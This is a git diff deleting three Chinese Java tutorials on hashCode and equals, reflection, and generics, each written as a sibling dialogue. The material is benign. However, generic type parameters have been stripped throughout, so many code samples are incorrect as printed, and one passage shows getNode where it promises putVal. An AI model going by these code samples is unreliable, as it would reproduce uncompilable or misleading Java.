-“三妹,你想一下,如果没有哈希表,但又需要这样一个数据结构,它里面存放的数据是不允许重复的,该怎么办呢?”我问。
-
-“要不使用 equals 方法进行逐个比较?”三妹有些不太确定。
-
-“这种方法当然是可行的,就像 `if ((e = first.next) != null) {}` 子句中那样,但如果数据量特别特别大,性能就会很差,最好的解决方案还是 HashMap。”
-
-HashMap 本质上是通过[数组](https://javabetter.cn/array/array.html)实现的,当我们要从 HashMap 中获取某个值时,实际上是要获取数组中某个位置的元素,而位置是通过键来确定的。
-
-```java
-public V put(K key, V value) {
- return putVal(hash(key), key, value, false, true);
-}
-```
-
-这是 HashMap 的 put 方法,会将键值对放入到数组当中。它会调用 putVal 方法:
-
-```java
-final HashMap.Node getNode(int hash, Object key) {
- HashMap.Node[] tab; HashMap.Node first, e; int n; K k;
- // 判断 HashMap 的 table 是否为 null 以及 table 长度是否大于 0
- if ((tab = table) != null && (n = tab.length) > 0 &&
- // 根据 hash 值计算出在 table 中的索引位置,并获取第一个节点
- (first = tab[(n - 1) & hash]) != null) {
- // 判断第一个节点的 hash 值是否与给定 hash 相等,如果相等,则检查 key 是否相等
- if (first.hash == hash &&
- ((k = first.key) == key || (key != null && key.equals(k))))
- return first;
- // 如果不相等,获取当前节点的下一个节点
- if ((e = first.next) != null) {
- // 如果当前节点为 TreeNode 类型(红黑树),则调用 TreeNode 的 getTreeNode 方法查找
- if (first instanceof HashMap.TreeNode)
- return ((HashMap.TreeNode)first).getTreeNode(hash, key);
- // 如果不是红黑树节点,遍历链表查找
- do {
- if (e.hash == hash &&
- ((k = e.key) == key || (key != null && key.equals(k))))
- return e;
- } while ((e = e.next) != null);
- }
- }
- // 如果没有找到对应的节点,则返回 null
- return null;
-}
-```
-
-通常情况下,`p = tab[i = (n - 1) & hash])` 就是键对应的值。而数组的索引 `(n - 1) & hash` 正是基于 hashCode 方法计算得到的。
-
-```java
-static final int hash(Object key) {
- int h;
- return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
-}
-```
-
-“那二哥,你好像还是没有说为什么重写 equals 方法的时候要重写 hashCode 方法呀?”三妹忍不住了。
-
-“来看下面这段代码。”我说。
-
-```java
-public class Test {
- public static void main(String[] args) {
- Student s1 = new Student(18, "张三");
- Map scores = new HashMap<>();
- scores.put(s1, 98);
-
- Student s2 = new Student(18, "张三");
- System.out.println(scores.get(s2));
- }
-}
- class Student {
- private int age;
- private String name;
-
- public Student(int age, String name) {
- this.age = age;
- this.name = name;
- }
-
- @Override
- public boolean equals(Object o) {
- Student student = (Student) o;
- return age == student.age &&
- Objects.equals(name, student.name);
- }
- }
-```
-
-我们重写了 Student 类的 equals 方法,如果两个学生的年纪和姓名相同,我们就认为是同一个学生,虽然很离谱,但我们就是这么草率。
-
-在 main 方法中,18 岁的张三考试得了 98 分,很不错的成绩,我们把张三和他的成绩放到 HashMap 中,然后准备取出:
-
-```
-null
-```
-
-“二哥,怎么输出了 null,而不是预期当中的 98 呢?”三妹感到很不可思议。
-
-“原因就在于重写 equals 方法的时候没有重写 hashCode 方法。”我回答道,“equals 方法虽然认定名字和年纪相同就是同一个学生,但它们本质上是两个对象,hashCode 并不相同。”
-
-
-
-“那怎么重写 hashCode 方法呢?”三妹问。
-
-“可以直接调用 Objects 类的 hash 方法。”我回答。
-
-```java
- @Override
- public int hashCode() {
- return Objects.hash(age, name);
- }
-```
-
-Objects 类的 hash 方法可以针对不同数量的参数生成新的哈希值,hash 方法调用的是 Arrays 类的 hashCode 方法,该方法源码如下:
-
-```java
-public static int hashCode(Object a[]) {
- if (a == null)
- return 0;
-
- int result = 1;
-
- for (Object element : a)
- result = 31 * result + (element == null ? 0 : element.hashCode());
-
- return result;
-}
-```
-
-第一次循环:
-
-```
-result = 31*1 + Integer(18).hashCode();
-```
-
-第二次循环:
-
-```
-result = (31*1 + Integer(18).hashCode()) * 31 + String("张三").hashCode();
-```
-
-针对姓名年纪不同的对象,这样计算后的哈希值很难很难很难重复的;针对姓名年纪相同的对象,哈希值保持一致。
-
-再次执行 main 方法,结果如下所示:
-
-```
-98
-```
-
-因为此时 s1 和 s2 对象的哈希值都为 776408。
-
-
-
-
-“每当重写 equals 方法时,hashCode 方法也需要重写,原因就是为了保证:如果两个对象调用 equals 方法返回的结果为 true,那么两个对象调用 hashCode 方法返回的结果也必然相同。”我点题了。
-
-“OK,get 了。”三妹开心地点了点头,看得出来,今天学到了不少。
-
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
\ No newline at end of file
diff --git a/docs/src/basic-extra-meal/fanshe.md b/docs/src/basic-extra-meal/fanshe.md
deleted file mode 100644
index fc0a319ef6..0000000000
--- a/docs/src/basic-extra-meal/fanshe.md
+++ /dev/null
@@ -1,446 +0,0 @@
----
-title: Java 反射详解,我妹都学会了。
-shortTitle: 掌握 Java 反射
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: Java 反射机制允许在运行时检查和操作类、对象、方法和字段。通过反射,我们可以动态创建对象实例、调用方法、访问字段和获取类的元数据。本文介绍了 Java 反射的基本概念、应用场景和示例。
-author: 沉默王二
-head:
- - - meta
- - name: keywords
- content: Java,java 反射, 运行时, 类, 对象, 方法, 字段, 反射,动态调用
----
-
-“二哥,什么是反射呀?”三妹开门见山地问。
-
-“要想知道什么是反射,就需要先来了解什么是‘正射’。”我笑着对三妹说,“一般情况下,我们在使用某个类之前已经确定它到底是个什么类了,拿到手就直接可以使用 `new` 关键字来调用构造方法进行初始化,之后使用这个类的对象来进行操作。”
-
-```java
-Writer writer = new Writer();
-writer.setName("沉默王二");
-```
-
-像上面这个例子,就可以理解为“正射”。而反射就意味着一开始我们不知道要初始化的类到底是什么,也就没法直接使用 `new` 关键字创建对象了。
-
-我们只知道这个类的一些基本信息,就好像我们看电影的时候,为了抓住一个犯罪嫌疑人,警察就会问一些目击证人,根据这些证人提供的信息,找专家把犯罪嫌疑人的样貌给画出来——这个过程,就可以称之为**反射**。
-
-```java
-Class clazz = Class.forName("com.itwanger.s39.Writer");
-Method method = clazz.getMethod("setName", String.class);
-Constructor constructor = clazz.getConstructor();
-Object object = constructor.newInstance();
-method.invoke(object,"沉默王二");
-```
-
-像上面这个例子,就可以理解为“反射”。
-
-“反射的写法比正射复杂得多啊!”三妹感慨地说。
-
-“是的,反射的成本是要比正射的高得多。”我说,“反射的缺点主要有两个。”
-
-- **破坏封装**:由于反射允许访问私有字段和私有方法,所以可能会破坏封装而导致安全问题。
-- **性能开销**:由于反射涉及到动态解析,因此无法执行 Java 虚拟机优化,再加上反射的写法的确要复杂得多,所以性能要比“正射”差很多,在一些性能敏感的程序中应该避免使用反射。
-
-“那反射有哪些好处呢?”三妹问。
-
-反射的主要应用场景有:
-
-- **开发通用框架**:像 Spring,为了保持通用性,通过配置文件来加载不同的对象,调用不同的方法。
-- **动态代理**:在面向切面编程中,需要拦截特定的方法,就会选择动态代理的方式,而动态代理的底层技术就是反射。
-- **注解**:注解本身只是起到一个标记符的作用,它需要利用反射机制,根据标记符去执行特定的行为。
-
-“好了,来看一下完整的例子吧。”我对三妹说。
-
-Writer 类,有两个字段,然后还有对应的 getter/setter。
-
-```java
-public class Writer {
- private int age;
- private String name;
-
- public int getAge() {
- return age;
- }
-
- public void setAge(int age) {
- this.age = age;
- }
-
- public String getName() {
- return name;
- }
-
- public void setName(String name) {
- this.name = name;
- }
-}
-```
-
-测试类:
-
-```java
-public class ReflectionDemo1 {
- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- Writer writer = new Writer();
- writer.setName("沉默王二");
- System.out.println(writer.getName());
-
- Class clazz = Class.forName("com.itwanger.s39.Writer");
- Constructor constructor = clazz.getConstructor();
- Object object = constructor.newInstance();
-
- Method setNameMethod = clazz.getMethod("setName", String.class);
- setNameMethod.invoke(object, "沉默王二");
- Method getNameMethod = clazz.getMethod("getName");
- System.out.println(getNameMethod.invoke(object));
- }
-}
-```
-
-来看一下输出结果:
-
-```
-沉默王二
-沉默王二
-```
-
-只不过,反射的过程略显曲折了一些。
-
-第一步,获取反射类的 Class 对象:
-
-```java
-Class clazz = Class.forName("com.itwanger.s39.Writer");
-```
-
-在 Java 中,Class 对象是一种特殊的对象,它代表了程序中的类和接口。
-
-Java 中的每个类型(包括类、接口、数组以及基础类型)在 JVM 中都有一个唯一的 Class 对象与之对应。这个 Class 对象被创建的时机是在 JVM 加载类时,由 JVM 自动完成。
-
-Class 对象中包含了与类相关的很多信息,如类的名称、类的父类、类实现的接口、类的构造方法、类的方法、类的字段等等。这些信息通常被称为元数据(metadata)。
-
-除了前面提到的,通过类的全名获取 Class 对象,还有以下两种方式:
-
-- 如果你有一个类的实例,你可以通过调用该实例的`getClass()`方法获取 Class 对象。例如:`String str = "Hello World"; Class cls = str.getClass();`
-- 如果你有一个类的字面量(即类本身),你可以直接获取 Class 对象。例如:`Class cls = String.class;`
-
-第二步,通过 Class 对象获取构造方法 Constructor 对象:
-
-```java
-Constructor constructor = clazz.getConstructor();
-```
-
-第三步,通过 Constructor 对象初始化反射类对象:
-
-```java
-Object object = constructor.newInstance();
-```
-
-第四步,获取要调用的方法的 Method 对象:
-
-```java
-Method setNameMethod = clazz.getMethod("setName", String.class);
-Method getNameMethod = clazz.getMethod("getName");
-```
-
-第五步,通过 `invoke()` 方法执行:
-
-```java
-setNameMethod.invoke(object, "沉默王二");
-getNameMethod.invoke(object)
-```
-
-“三妹,你看,经过这五个步骤,基本上就掌握了反射的使用方法。”我说。
-
-“好像反射也没什么复杂的啊!”三妹说。
-
-我先对三妹点点头,然后说:“是的,掌握反射的基本使用方法确实不难,但要理解整个反射机制还是需要花一点时间去了解一下 Java 虚拟机的类加载机制的。”
-
-要想使用反射,首先需要获得反射类的 Class 对象,每一个类,不管它最终生成了多少个对象,这些对象只会对应一个 Class 对象,这个 Class 对象是由 Java 虚拟机生成的,由它来获悉整个类的结构信息。
-
-也就是说,`java.lang.Class` 是所有反射 API 的入口。
-
-而方法的反射调用,最终是由 Method 对象的 `invoke()` 方法完成的,来看一下源码(JDK 8 环境下)。
-
-```java
-public Object invoke(Object obj, Object... args)
- throws IllegalAccessException, IllegalArgumentException,
- InvocationTargetException {
- // 如果方法不允许被覆盖,进行权限检查
- if (!override) {
- if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
- Class> caller = Reflection.getCallerClass();
- // 检查调用者是否具有访问权限
- checkAccess(caller, clazz, obj, modifiers);
- }
- }
- // 获取方法访问器(从 volatile 变量中读取)
- MethodAccessor ma = methodAccessor;
- if (ma == null) {
- // 如果访问器为空,尝试获取方法访问器
- ma = acquireMethodAccessor();
- }
- // 使用方法访问器调用方法,并返回结果
- return ma.invoke(obj, args);
-}
-```
-
-两个嵌套的 if 语句是用来进行权限检查的。
-
-`invoke()` 方法实际上是委派给 MethodAccessor 接口来完成的。
-
-
-
-MethodAccessor 接口有三个实现类,其中的 MethodAccessorImpl 是一个抽象类,另外两个具体的实现类继承了这个抽象类。
-
-
-
-- NativeMethodAccessorImpl:通过本地方法来实现反射调用;
-- DelegatingMethodAccessorImpl:通过委派模式来实现反射调用;
-
-通过 debug 的方式进入 `invoke()` 方法后,可以看到第一次反射调用会生成一个委派实现 DelegatingMethodAccessorImpl,它在生成的时候会传递一个本地实现 NativeMethodAccessorImpl。
-
-
-
-也就是说,`invoke()` 方法在执行的时候,会先调用 DelegatingMethodAccessorImpl,然后调用 NativeMethodAccessorImpl,最后再调用实际的方法。
-
-“为什么不直接调用本地实现呢?”三妹问。
-
-“之所以采用委派实现,是为了能够在本地实现和动态实现之间切换。动态实现是另外一种反射调用机制,它是通过生成字节码的形式来实现的。如果反射调用的次数比较多,动态实现的效率就会更高,因为本地实现需要经过 Java 到 C/C++ 再到 Java 之间的切换过程,而动态实现不需要;但如果反射调用的次数比较少,反而本地实现更快一些。”我说。
-
-“那临界点是多少呢?”三妹问。
-
-“默认是 15 次。”我说,“可以通过 `-Dsun.reflect.inflationThreshold` 参数类调整。”
-
-来看下面这个例子。
-
-```java
-Method setAgeMethod = clazz.getMethod("setAge", int.class);
-for (int i = 0;i < 20; i++) {
- setAgeMethod.invoke(object, 18);
-}
-```
-
-在 `invoke()` 方法处加断点进入 debug 模式,当 i = 15 的时候,也就是第 16 次执行的时候,会进入到 if 条件分支中,改变 DelegatingMethodAccessorImpl 的委派模式 delegate 为 `(MethodAccessorImpl)(new MethodAccessorGenerator()).generateMethod()`,而之前的委派模式 delegate 为 NativeMethodAccessorImpl。
-
-
-
-“这下明白了吧?三妹。”我说,“接下来,我们再来熟悉一下反射当中常用的 API。”
-
-**1)获取反射类的 Class 对象**
-
-`Class.forName()`,参数为反射类的完全限定名。
-
-```java
-Class c1 = Class.forName("com.itwanger.s39.ReflectionDemo3");
-System.out.println(c1.getCanonicalName());
-
-Class c2 = Class.forName("[D");
-System.out.println(c2.getCanonicalName());
-
-Class c3 = Class.forName("[[Ljava.lang.String;");
-System.out.println(c3.getCanonicalName());
-```
-
-来看一下输出结果:
-
-```
-com.itwanger.s39.ReflectionDemo3
-double[]
-java.lang.String[][]
-```
-
-类名 + `.class`,只适合在编译前就知道操作的 Class。。
-
-```java
-Class c1 = ReflectionDemo3.class;
-System.out.println(c1.getCanonicalName());
-
-Class c2 = String.class;
-System.out.println(c2.getCanonicalName());
-
-Class c3 = int[][][].class;
-System.out.println(c3.getCanonicalName());
-```
-
-来看一下输出结果:
-
-```java
-com.itwanger.s39.ReflectionDemo3
-java.lang.String
-int[][][]
-```
-
-**2)创建反射类的对象**
-
-通过反射来创建对象的方式有两种:
-
-- 用 Class 对象的 `newInstance()` 方法。
-- 用 Constructor 对象的 `newInstance()` 方法。
-
-```java
-Class c1 = Writer.class;
-Writer writer = (Writer) c1.newInstance();
-
-Class c2 = Class.forName("com.itwanger.s39.Writer");
-Constructor constructor = c2.getConstructor();
-Object object = constructor.newInstance();
-```
-
-**3)获取构造方法**
-
-Class 对象提供了以下方法来获取构造方法 Constructor 对象:
-
-- `getConstructor()`:返回反射类的特定 public 构造方法,可以传递参数,参数为构造方法参数对应 Class 对象;缺省的时候返回默认构造方法。
-- `getDeclaredConstructor()`:返回反射类的特定构造方法,不限定于 public 的。
-- `getConstructors()`:返回类的所有 public 构造方法。
-- `getDeclaredConstructors()`:返回类的所有构造方法,不限定于 public 的。
-
-```java
-Class c2 = Class.forName("com.itwanger.s39.Writer");
-Constructor constructor = c2.getConstructor();
-
-Constructor[] constructors1 = String.class.getDeclaredConstructors();
-for (Constructor c : constructors1) {
- System.out.println(c);
-}
-```
-
-**4)获取字段**
-
-大体上和获取构造方法类似,把关键字 Constructor 换成 Field 即可。
-
-```java
-Field[] fields1 = System.class.getFields();
-Field fields2 = System.class.getField("out");
-```
-
-**5)获取方法**
-
-大体上和获取构造方法类似,把关键字 Constructor 换成 Method 即可。
-
-```java
-Method[] methods1 = System.class.getDeclaredMethods();
-Method[] methods2 = System.class.getMethods();
-```
-
-“注意,三妹,如果你想反射访问私有字段和(构造)方法的话,需要使用 `Constructor/Field/Method.setAccessible(true)` 来绕开 Java 语言的访问限制。”我说。
-
-“好的,二哥。还有资料可以参考吗?”三妹问。
-
-“有的,有两篇文章写得非常不错,你在学习反射的时候可以作为参考。”我说。
-
-第一篇:深入理解 Java 反射和动态代理
-
-> 链接:[https://dunwu.github.io/javacore/basics/java-reflection.html](https://dunwu.github.io/javacore/basics/java-reflection.html)
-
-第二篇:大白话说 Java 反射:入门、使用、原理:
-
-> 链接:[https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html](https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html)
-
-这里简单总结下。
-
-反射是 Java 中的一个强大特性,它允许在运行时检查和操作[类](https://javabetter.cn/oo/object-class.html)、[接口](https://javabetter.cn/oo/interface.html)、[字段](https://javabetter.cn/oo/var.html)和[方法](https://javabetter.cn/oo/method.html)。反射是 Java 的核心组件,支持各种框架和库的实现,如 Spring、Hibernate 等。使用反射,可以在运行时动态地创建对象、调用方法和访问字段,而无需在编译时了解这些对象的具体实现。
-
-反射的主要类位于 `java.lang.reflect` 包中,主要包括以下几个关键类:
-
-- Class:代表一个类或接口,包含了类的结构信息(如名称、构造函数、方法、字段等)。通过 Class 对象,可以获取类的元数据并操作类的实例。
-- Constructor:代表类的[构造方法](https://javabetter.cn/oo/construct.html),用于创建类的实例。
-- Method:代表类的方法,可以通过它调用类的实例方法。
-- Field:代表类的字段,可以获取或修改字段的值。
-- Modifier:包含方法、字段和类的[访问修饰符(如 public、private 等)](https://javabetter.cn/oo/access-control.html)。
-
-使用反射时,需要注意以下几点:
-
-- 性能:反射操作通常比直接操作对象的方法和字段慢,因为涉及到额外的间接调用和动态解析。因此,在关注性能的场景中,慎用反射。
-- 安全性:通过反射,可以访问和操作类的私有字段和方法,这可能导致安全问题。因此,使用反射时要确保代码的安全性。
-- 维护性:反射使代码变得更加复杂,可能导致难以维护。在使用反射时要确保代码的可读性和可维护性。
-
-尽管反射存在上述问题,但在某些场景下(如框架开发、动态代理等),它仍然是非常有用的工具。
-
-来一个完整的 demo 示例吧。
-
-```java
-class Person {
- private String name;
- private int age;
-
- public Person() {
- }
-
- public Person(String name, int age) {
- this.name = name;
- this.age = age;
- }
-
- public String getName() {
- return name;
- }
-
- public void setName(String name) {
- this.name = name;
- }
-
- public int getAge() {
- return age;
- }
-
- public void setAge(int age) {
- this.age = age;
- }
-
- private void privateMethod() {
- System.out.println("私有方法");
- }
-}
-
-public class ReflectionDemo {
- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
- IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
- // 获取 Person 类的 Class 对象
- Class> personClass = Class.forName("com.github.paicoding.forum.test.javabetter.importance.Person");
-
- // 获取并打印类名
- System.out.println("类名: " + personClass.getName());
-
- // 获取构造函数
- Constructor> constructor = personClass.getConstructor(String.class, int.class);
-
- // 使用构造函数创建 Person 对象实例
- Object personInstance = constructor.newInstance("沉默王二", 30);
-
- // 获取并调用 getName 方法
- Method getNameMethod = personClass.getMethod("getName");
- String name = (String) getNameMethod.invoke(personInstance);
- System.out.println("名字: " + name);
-
- // 获取并调用 setAge 方法
- Method setAgeMethod = personClass.getMethod("setAge", int.class);
- setAgeMethod.invoke(personInstance, 35);
-
- // 获取并访问 age 字段
- Field ageField = personClass.getDeclaredField("age");
- ageField.setAccessible(true);
- int age = ageField.getInt(personInstance);
- System.out.println("年纪: " + age);
-
- // 获取并调用私有方法
- Method privateMethod = personClass.getDeclaredMethod("privateMethod");
- privateMethod.setAccessible(true);
- privateMethod.invoke(personInstance);
- }
-}
-```
-
-在这个示例中,我们首先通过 `Class.forName()` 方法获取 Person 类的 Class 对象。接着,我们获取了 Person 类的构造方法、方法和字段,并使用这些反射对象来创建实例、调用方法和访问字段。注意,在访问私有方法和字段时,我们需要调用 `setAccessible(true)` 方法来允许访问。
-
-“好了,三妹,关于反射,就先讲到这里吧。”
-
----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
diff --git a/docs/src/basic-extra-meal/generic.md b/docs/src/basic-extra-meal/generic.md
deleted file mode 100644
index 6388adf3ca..0000000000
--- a/docs/src/basic-extra-meal/generic.md
+++ /dev/null
@@ -1,621 +0,0 @@
----
-title: Java 泛型深入解析:理解泛型原理与实际应用方法
-shortTitle: Java泛型,深入解析
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: 本文详细讲解了 Java 泛型的概念、原理及应用技巧,为您展示了如何通过泛型提高代码的可重用性、类型安全和可读性。学习本文将帮助您更好地掌握 Java 泛型编程,提高编程效率与质量。
-head:
- - - meta
- - name: keywords
- content: java,泛型,java 泛型,java generic
----
-
-“二哥,为什么要设计泛型啊?”三妹开门见山地问。
-
-“三妹啊,听哥慢慢给你讲啊。”我说。
-
-Java 在 1.5 时增加了泛型机制,据说专家们为此花费了 5 年左右的时间(听起来是相当不容易)。有了泛型之后,尤其是对集合类的使用,就变得更规范了。
-
-看下面这段简单的代码。
-
-```java
-ArrayList list = new ArrayList();
-list.add("沉默王二");
-String str = list.get(0);
-```
-
-“三妹,你能想象到在没有泛型之前该怎么办吗?”
-
-“嗯,想不到,还是二哥你说吧。”
-
-嗯,我们可以使用 Object 数组来设计 `Arraylist` 类。
-
-```java
-class Arraylist {
- private Object[] objs;
- private int i = 0;
- public void add(Object obj) {
- objs[i++] = obj;
- }
-
- public Object get(int i) {
- return objs[i];
- }
-}
-```
-
-然后,我们向 `Arraylist` 中存取数据。
-
-```java
-Arraylist list = new Arraylist();
-list.add("沉默王二");
-list.add(new Date());
-String str = (String)list.get(0);
-```
-
-“三妹,你有没有发现这两个问题?”
-
-- Arraylist 可以存放任何类型的数据(既可以存字符串,也可以混入日期),因为所有类都继承自 Object 类。
-- 从 Arraylist 取出数据的时候需要强制类型转换,因为编译器并不能确定你取的是字符串还是日期。
-
-“嗯嗯,是的呢。”三妹说。
-
-对比一下,你就能明显地感受到泛型的优秀之处:使用**类型参数**解决了元素的不确定性——参数类型为 String 的集合中是不允许存放其他类型元素的,取出数据的时候也不需要强制类型转换了。
-
-### 动手设计一个泛型
-
-“二哥,那怎么才能设计一个泛型呢?”
-
-“三妹啊,你一个小白只要会用泛型就行了,还想设计泛型啊?!不过,既然你想了解,哥义不容辞。”
-
-首先,我们来按照泛型的标准重新设计一下 `Arraylist` 类。
-
-```java
-class Arraylist {
- private Object[] elementData;
- private int size = 0;
-
- public Arraylist(int initialCapacity) {
- this.elementData = new Object[initialCapacity];
- }
-
- public boolean add(E e) {
- elementData[size++] = e;
- return true;
- }
-
- E elementData(int index) {
- return (E) elementData[index];
- }
-}
-```
-
-一个泛型类就是具有一个或多个类型变量的类。Arraylist 类引入的类型变量为 E(Element,元素的首字母),使用尖括号 `<>` 括起来,放在类名的后面。
-
-然后,我们可以用具体的类型(比如字符串)替换类型变量来实例化泛型类。
-
-```java
-Arraylist list = new Arraylist();
-list.add("沉默王三");
-String str = list.get(0);
-```
-
-Date 类型也可以的。
-
-```java
-Arraylist list = new Arraylist();
-list.add(new Date());
-Date date = list.get(0);
-```
-
-其次,我们还可以在一个非泛型的类(或者泛型类)中定义泛型方法。
-
-```java
-class Arraylist {
- public T[] toArray(T[] a) {
- return (T[]) Arrays.copyOf(elementData, size, a.getClass());
- }
-}
-```
-
-不过,说实话,泛型方法的定义看起来略显晦涩。来一副图吧(注意:方法返回类型和方法参数类型至少需要一个)。
-
-
-
-现在,我们来调用一下泛型方法。
-
-```java
-Arraylist list = new Arraylist<>(4);
-list.add("沉");
-list.add("默");
-list.add("王");
-list.add("二");
-
-String [] strs = new String [4];
-strs = list.toArray(strs);
-
-for (String str : strs) {
- System.out.println(str);
-}
-```
-
-### 泛型限定符
-
-然后,我们再来说说泛型变量的限定符 `extends`。
-
-在解释这个限定符之前,我们假设有三个类,它们之间的定义是这样的。
-
-```java
-class Wanglaoer {
- public String toString() {
- return "王老二";
- }
-}
-
-class Wanger extends Wanglaoer{
- public String toString() {
- return "王二";
- }
-}
-
-class Wangxiaoer extends Wanger{
- public String toString() {
- return "王小二";
- }
-}
-```
-
-我们使用限定符 `extends` 来重新设计一下 `Arraylist` 类。
-
-```java
-class Arraylist {
-}
-```
-
-当我们向 `Arraylist` 中添加 `Wanglaoer` 元素的时候,编译器会提示错误:`Arraylist` 只允许添加 `Wanger` 及其子类 `Wangxiaoer` 对象,不允许添加其父类 `Wanglaoer`。
-
-```java
-Arraylist list = new Arraylist<>(3);
-list.add(new Wanger());
-list.add(new Wanglaoer());
-// The method add(Wanger) in the type Arraylist is not applicable for the arguments
-// (Wanglaoer)
-list.add(new Wangxiaoer());
-```
-
-也就是说,限定符 `extends` 可以缩小泛型的类型范围。
-
-### 类型擦除
-
-“哦,明白了。”三妹若有所思的点点头,“二哥,听说虚拟机没有泛型?”
-
-“三妹,你功课做得可以啊。哥可以肯定地回答你,虚拟机是没有泛型的。”
-
-“怎么确定虚拟机有没有泛型呢?”三妹问。
-
-“只要我们把泛型类的字节码进行反编译就看到了!”用反编译工具(我写这篇文章的时候用的是 jad,你也可以用其他的工具)将 class 文件反编译后,我说,“三妹,你看。”
-
-```java
-// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
-// Jad home page: http://www.kpdus.com/jad.html
-// Decompiler options: packimports(3)
-// Source File Name: Arraylist.java
-
-package com.cmower.java_demo.fanxing;
-
-import java.util.Arrays;
-
-class Arraylist
-{
-
- public Arraylist(int initialCapacity)
- {
- size = 0;
- elementData = new Object[initialCapacity];
- }
-
- public boolean add(Object e)
- {
- elementData[size++] = e;
- return true;
- }
-
- Object elementData(int index)
- {
- return elementData[index];
- }
-
- private Object elementData[];
- private int size;
-}
-```
-
-类型变量 `` 消失了,取而代之的是 Object !
-
-“既然如此,那如果泛型类使用了限定符 `extends`,结果会怎么样呢?”三妹这个问题问的很巧妙。
-
-来看这段代码。
-
-```java
-class Arraylist2 {
- private Object[] elementData;
- private int size = 0;
-
- public Arraylist2(int initialCapacity) {
- this.elementData = new Object[initialCapacity];
- }
-
- public boolean add(E e) {
- elementData[size++] = e;
- return true;
- }
-
- E elementData(int index) {
- return (E) elementData[index];
- }
-}
-```
-
-反编译后的结果如下。
-
-```java
-// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
-// Jad home page: http://www.kpdus.com/jad.html
-// Decompiler options: packimports(3)
-// Source File Name: Arraylist2.java
-
-package com.cmower.java_demo.fanxing;
-
-
-// Referenced classes of package com.cmower.java_demo.fanxing:
-// Wanger
-
-class Arraylist2
-{
-
- public Arraylist2(int initialCapacity)
- {
- size = 0;
- elementData = new Object[initialCapacity];
- }
-
- public boolean add(Wanger e)
- {
- elementData[size++] = e;
- return true;
- }
-
- Wanger elementData(int index)
- {
- return (Wanger)elementData[index];
- }
-
- private Object elementData[];
- private int size;
-}
-```
-
-“你看,类型变量 `` 不见了,E 被替换成了 `Wanger`”,我说,“通过以上两个例子说明,Java 虚拟机会将泛型的类型变量擦除,并替换为限定类型(没有限定的话,就用 `Object`)”
-
-“二哥,类型擦除会有什么问题吗?”三妹又问了一个很有水平的问题。
-
-“三妹啊,你还别说,类型擦除真的会有一些问题。”我说,“来看一下这段代码。”
-
-```java
-public class Cmower {
-
- public static void method(Arraylist list) {
- System.out.println("Arraylist list");
- }
-
- public static void method(Arraylist list) {
- System.out.println("Arraylist list");
- }
-
-}
-```
-
-在浅层的意识上,我们会想当然地认为 `Arraylist list` 和 `Arraylist